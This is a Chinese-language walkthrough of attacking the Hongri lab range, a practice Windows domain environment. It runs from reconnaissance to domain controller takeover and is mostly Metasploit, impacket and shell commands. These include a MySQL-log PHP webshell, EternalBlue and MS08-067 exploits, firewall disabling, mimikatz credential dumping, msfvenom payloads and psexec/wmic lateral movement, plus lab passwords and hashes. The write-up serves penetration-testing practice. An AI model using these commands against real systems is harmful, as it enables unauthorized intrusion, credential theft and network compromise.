红日靶场1打靶记录

红日靶场1环境搭建网络拓扑网卡配置这三台虚拟主机默认开机密码都是 hongrisec2019有的会提示密码已过期更改为 Qwer1234 即可服务配置在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务模拟外网 Web 站点外网打点信息收集nmap扫描目标网段nmap -sn 192.168.162.0/24发现192.168.162.133主机存活对192.168.162.133主机进行端口扫描nmap -sS -Pn --min-rate 1000 -p- 192.168.162.13380端口开放http服务可能存在web漏洞445端口开放可能存在永恒之蓝3306端口开放mysql服务可能存在空口令/弱口令连接漏洞135端口开放rpc服务可以来信息收集漏洞探测永恒之蓝ms17-010漏洞探测msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.162.133 run存在永恒之蓝漏洞尝试匿名/弱口令直连mysql3306 端口直接暴露在内网中常见配置错误通常是 root 空口令或弱口令。mysql -h 192.168.162.133 -u root -p输入回车测试是否为空口令如果失败尝试少量常见弱口令如 root、123456、testing 等MySQL 因来源 IP 限制无法连接web服务漏洞探测浏览器访问发现是phpinfo界面关键信息网站绝对路径 C:/phpStudy/WWW目录扫描dirsearch -u http://192.168.162.133 --wordlists /usr/share/wordlists/dirb/common.txt gobuster dir -u http://192.168.162.133 -w /usr/share/wordlists/dirb/common.txt发现备份文件下载并解压beifen.rar文件夹发现一个网站目录yxcms尝试访问/yxcms访问成功并发现信息泄露后台地址http://192.168.162.133/yxcms/index.php?radmin 用户名admin 密码123456登录后台成功登录发现使用的是yxcms1.2.1版本上网搜索该版本的漏洞yxcms1.2.1存在后台任意文件上传getshell参考文章https://www.cnblogs.com/vivovox/p/14310839.htmlhttps://mdr.skyeye.qianxin.com/forum/share/164发现/phpMyAdmin尝试访问/phpMyAdmin尝试弱口令rootroot成功登录探测是否可以利用全局日志写入webshell执行sql语句查看当前用户权限SHOW GRANTS FOR CURRENT_USER();当前数据库用户是 rootlocalhost并且被授予了 GRANT ALL PRIVILEGES ON.所有数据库的所有权限执行sql语句查看数据库版本SELECT VERSION();版本为5.5.53可以支持动态修改日志变量执行sql语句查询日志的当前状态和路径判断是否具备开启条件SHOW VARIABLES LIKE %general%;general_log为OFF执行以下语句将其开启SETGLOBALgeneral_logON;查询日志输出格式是否为file如果是 TABLE 或 NONE日志不会写入文件写入方法就会失效SHOW VARIABLES LIKE log_output;已基本达到利用要求对web目录是否有写入权限需要实际写入验证漏洞利用永恒之蓝漏洞利用use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.162.134 set LPORT 4445 run利用成功但是没有获得会话应该是防火墙的问题yxcms文件上传漏洞利用在前台模版-管理模版文件-新建或者编辑已有文件目录扫描找到刚刚添加的shell.php的路径dirsearch -u http://192.168.162.133/yxcms/ gobuster dir -u http://192.168.162.133/yxcms/ -w /usr/share/wordlists/dirb/common.txt先访问一下http://192.168.162.133/yxcms/robots.txthttp://192.168.162.133/yxcms/protected/apps/default/view/default/shell.php蚁剑连接数据库全局日志写入webshell利用将日志文件重定向至 Web 目录SET GLOBAL general_log_file C:/phpstudy/www/shell.php;执行包含一句话木马的sql语句select ?php eval($_POST[a]) ?;尝试web访问该文件可以访问到尝试蚁剑连接连接成功提权关闭防火墙netsh advfirewall set allprofiles state off 再次尝试永恒之蓝上线msf成功上线system高权限cs上线生成木马并上传给目标机器并在system权限的会话中运行成功上线且是system权限内网渗透信息收集手工信息收集查看本机信息查看主机名hostname该主机为stu1查看网卡ipconfig发现内网网段192.168.52.0/24whoami /all查看域信息net user /domainnet group Domain Computers /domainnet group Domain Controllers /domainping OWA ping dev1 ping ROOT-TVI862UBEH工具收集内网信息上传fscan进行扫描fs64.exe -t 192.168.52.1/24使用mimikatz抓取密码、哈希信息汇总domaingod.org domain sidS-1-5-21-2952760202-1353902439-2381784089 OWA$(DC)192.168.52.138:[80 88 135 139 445](Windows Server 2008 R2) ROOT-TVI862UBEH$(域内另一台主机)192.168.52.141: [21 135 139 445 7001 7002 8098 8099](Windows Server 2003) Administrator密码Qwer1234 Administrator NTLM哈希91ff0fb948167eb4d080b5330686c02f配置代理在msf中添加通往192.168.52.0/24的路由run autoroute -s 192.168.52.0/24开启代理模块use auxiliary/server/socks_proxy set SRVPORT 1082 set VERSION 5 run -j漏洞探测fscan扫描结果138主机和141主机都显示存在永恒之蓝141存在ftp匿名登录漏洞利用尝试利用Windows Server 2003 的永恒之蓝use exploit/windows/smb/ms17_010_psexec set RHOSTS 192.168.52.141 set PAYLOAD windows/meterpreter/reverse_tcp run还是漏洞利用成功但是没获得会话应该还是防火墙的原因尝试利用Windows Server 2008 的永恒之蓝use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.52.138 set LPORT 4445 run依旧失败尝试利用141的ftp匿名登录ftp 192.168.52.141 21 anonymous 密码留空成功匿名登录141主机的ftp服务但是没有什么权限前面抓密码已经获取域管的明文密码尝试psexec远控proxychains4 impacket-psexec god.org/Administrator:Qwer1234192.168.52.138成功远控域控且为最高权限利用msf中的psexec模块上线域控use exploit/windows/smb/psexec set RHOSTS 192.168.52.138 set SMBDomain god set SMBUser Administrator set SMBPass Qwer1234 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4444 run利用失败一个是防火墙原因关闭防火墙netsh advfirewall set allprofiles state off再次利用msf中的psexec模块就成功上线域控成功上线msf上线cs生成正向连接木马上传给owa并运行在cs上通过跳板机连接owa横向移动信息收集先在域控上抓一下密码krbtgt:58e91a5ac358d86513ab224312314061漏洞探测141是server2003老版本操作系统可能存在ms08-067使用nmap脚本进行漏洞探测proxychains4 nmap -p 445 --script smb-vuln-ms08-067 192.168.52.141显示存在漏洞可以加以利用漏洞利用使用msf上线141use exploit/windows/smb/ms08_067_netapi set RHOSTS 192.168.52.141 set PAYLOAD windows/shell/bind_tcp set LPORT 5555 set TARGET 0 run不知道为什么没获得会话再次尝试psexecproxychains4 impacket-psexec god.org/Administrator:Qwer1234192.168.52.141成功获得shell对该主机进行一波信息收集systeminfo32位操作系统利用msf中的psexec模块上线141use exploit/windows/smb/psexec set RHOSTS 192.168.52.141 set SMBDomain god set SMBUser Administrator set SMBPass Qwer1234 set PAYLOAD windows/meterpreter/bind_tcp set LPORT 4444 run成功上线上传木马文件上线cs和msf生成msf的木马msfvenom -p windows/meterpreter/bind_tcp LPORT4446 -f exe -o bind_32.exe上传木马shell copy C:\bind_32.exe \\192.168.52.141\c$\Windows\Temp\32.exeuse exploit/multi/handler set payload windows/meterpreter/bind_tcp set LPORT 4446 set RHOST 192.168.52.141 run再试一下建立IPC$连接(在刚刚拿下的win7跳板机beacon中执行)net use \\192.168.52.141\ipc$ Qwer1234 /user:god.org\Administrator建立连接成功注意生成的木马要是32位复制木马到141主机copy C:\bind_32.exe \\192.168.52.141\c$\Windows\Temp\32.exe上传成功运行木马wmic /node:192.168.52.141 /user:god.org\Administrator /password:Qwer1234 process call create C:\Windows\Temp\1.exe换成在psexec的shell中运行应该是运行成功了cs连不上换在msf的会话运行这次就可以连接成功了再试试计划任务at \\192.168.52.141 20:33 C:\Windows\Temp\86.exe遇到的问题搭建环境时给win7配置web服务phpstudy启动时报错原因phpStudy 试图在任务栏通知区域系统托盘创建图标时失败了。系统托盘通知区域由 explorer.exe 管理如果它卡住了图标就可能创建失败。解决方法按 CtrlShiftEsc 打开任务管理器找到“Windows 资源管理器”右键选择“重新启动”。如果找不到这个选项可以结束 explorer.exe 进程然后点击“文件” → “运行新任务”输入 explorer 回车。此时再运行phpstudy就不会报错了web打点时死活扫不出有用的目录或文件原因后来我看网上的wp发现应该有一个beifen.rar文件但是我的爆破文件里面没有这个条目导致没扫出来解决方法使用更大更全的爆破文件手动尝试一些可能的备份文件名或路径名等如beifen.rar利用ms08-067时把目标机器打崩了但是没获得会话需要重置一下虚拟机要不然后面搜所有针对该主机的操作都没用了打windows2003时使用wmic创建进程运行木马时报错原因wmic 远程执行依赖 RPC远程过程调用它并不只走一个端口。典型的流程是先连 TCP 135RPC 端点映射器问路。端点映射器返回一个动态高位端口通常 1024-65535 范围。再连这个动态端口进行实际通信。在已控机器上发起wmic命令目标机器 192.168.52.141 虽然本机防火墙停了但网络路径上可能存在其他防火墙或策略拦截了 135 或后续的动态端口导致 RPC 握手失败。打windows2003时用msf的psexec模块上线时失败了原因payload设置错误该windows2003为32位需要设置payload为windows/meterpreter/bind_tcp而不是windows/x64/meterpreter/bind_tcp在psexec的shell中运行cs正向木马cs不能上线成功原因上传的 86.exeCS 正向木马虽然进程活着但彻底“假死”了根本没有在监听端口。根本原因环境问题Session 0 用 psexec 弹出来的 shell是在 Windows 服务会话Session 0里运行的。CS 的 Bind 木马在开发时往往依赖某些用户级别的网络 API 或内存环境。在 Session 0 这种没有完整交互桌面的环境里它一启动就卡在了初始化阶段所以内存才那么一丁点。解决方法用 MSF 会话的shell 运行木马利用计划任务运行木马也不能上线cs原因计划任务同样在 Session 0 里跑SYSTEM 账户的设计限制SYSTEM 账户在 Windows 中是一个服务账户它没有交互式登录权限。因此以 SYSTEM 权限运行的程序默认就是在后台Session 0运行的无法显示在任何用户的桌面上。计划任务的默认行为如果没有额外指定“仅当用户登录时运行”并配合交互式参数通过 schtasks 创建的任务只要是以 SYSTEM 身份运行就会在 Session 0 中执行。Windows Server 2003 的特殊性虽然 Win2003 的 Session 0 和 Vista 之后“隔离”的概念不完全一样在 2003 里 Session 0 就是控制台会话但通过 SYSTEM 计划任务启动的进程依然是在服务上下文里而不是在或任何用户交互式桌面窗口站里。这和之前用 psexec 启动木马时进程运行在 Session 0 是同一个道理。在 Windows Server 2003 上通过远程 at 命令创建的计划任务默认仍然是在 Session 0服务会话中运行的并不会因为用了计划任务就自动跳到交互式的 Session 1。所以 CS 木马面对的“无交互桌面环境”和 psexec 时是一样的。CS 的 Bind 木马对老系统兼容性差CS 生成的 Bind TCP 木马在 Windows Server 2003 这类老系统上如果运行环境不完整缺少某些桌面或网络初始化条件它可能直接卡住连 bind() 都不会执行。进程存在但端口没开这就是典型的“假死”。